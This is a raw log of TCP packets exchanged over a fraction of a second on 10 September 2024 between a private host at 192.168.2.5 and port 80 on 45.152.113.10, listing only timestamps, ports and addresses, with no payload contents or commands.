Sep 10, 2024 19:36:08.896034956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.896034956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.896111012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.896121979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.896132946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.896143913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.896151066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.896155119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.896157980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.896166086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.896178961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.896179914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.896209002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.896219969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.896569967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.896581888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.896591902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.896601915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.896611929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.896615028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.896620989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.896622896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.896635056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.896651030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.896662951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.896687984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.896711111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.896723986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.896733046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.896744013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.896759033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.896764994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.896787882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.982660055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.982678890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.982690096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.982696056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.982770920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.982788086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.982799053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.982810020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.982820034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.982830048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.982840061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.982929945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.982934952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.982934952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.982934952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.982943058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.982953072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.982963085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.982973099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.982981920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.983012915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.983019114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.983088017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.983102083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.983135939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.983148098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.983221054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.983232021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.983242035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.983253956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.983261108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.983278036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.983300924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.983520985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.983566046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.983670950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.983681917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.983716011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.983726978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.983858109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.983869076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.983879089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.983890057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.983901024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.983901978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.983910084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.983911991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.983923912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.983932972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.983943939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.983944893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.983963966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.983990908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.983999014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984010935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984019041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984044075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984066963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984139919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984179974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984301090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984312057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984322071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984333992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984344959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984345913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984357119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984358072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984366894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984378099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984385967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984404087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984419107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984481096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984493017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984503984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984514952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984523058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984524965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984533072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984536886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984546900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984554052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984558105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984569073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984586954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984596968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984603882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984625101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984637976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984647036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984658003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984664917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984669924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984682083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984703064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984720945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984932899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984944105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984955072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984965086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984976053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.984986067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.984987974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985008955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985021114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985085964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985096931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985107899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985130072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985152006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985286951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985297918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985307932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985312939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985317945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985330105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985335112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985363960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985385895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985445976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985456944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985466003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985476017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985485077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985486984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985496044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985502958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985506058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985517025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985522985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985527992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985538960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985548019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985548973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985567093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985579014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985594034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985600948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985600948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985621929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985631943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985749006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985789061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985927105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985939026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985948086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985958099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985969067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985970020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985980034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.985990047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.985990047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986002922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986013889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986017942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.986037016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.986043930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.986059904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986072063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986080885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986092091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986103058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.986135006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.986264944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986275911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986287117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986298084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986304998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.986310005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986326933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.986347914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.986438990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986450911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986460924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986471891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986478090 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.986480951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986490965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986500978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.986501932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986512899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.986526012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.986545086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.986553907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.065861940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.065875053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.065886021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.065905094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.065913916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.065924883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.065936089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.065953016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.065990925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066003084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066009998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066015005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066025972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066028118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066057920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066061974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066072941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066082954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066083908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066093922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066102982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066111088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066138029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066147089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066559076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066570044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066581011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066591024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066606045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066632032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066719055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066737890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066747904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066757917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066759109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066767931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066777945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066787958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066788912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066798925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066808939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066816092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066818953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066829920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066833973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066839933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066849947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066852093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066860914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066874027 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066878080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066886902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066895962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066898108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066906929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066915035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066917896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.066922903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066951990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.066967010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067023039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067034960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067043066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067054033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067064047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067065001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067073107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067073107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067095995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067104101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067112923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067121983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067136049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067137957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067147970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067161083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067164898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067176104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067183971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067187071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067198038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067205906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067228079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067240000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067248106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067257881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067267895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067277908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067286968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067291021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067300081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067316055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067328930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067349911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067405939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067415953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067425013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067447901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067451000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067457914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067460060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067468882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067478895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067482948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067488909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067498922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067506075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067508936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067519903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067529917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067534924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067542076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067547083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.067552090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.067562103 CEST	80	49707	45.152.113.10	192.168.2.5
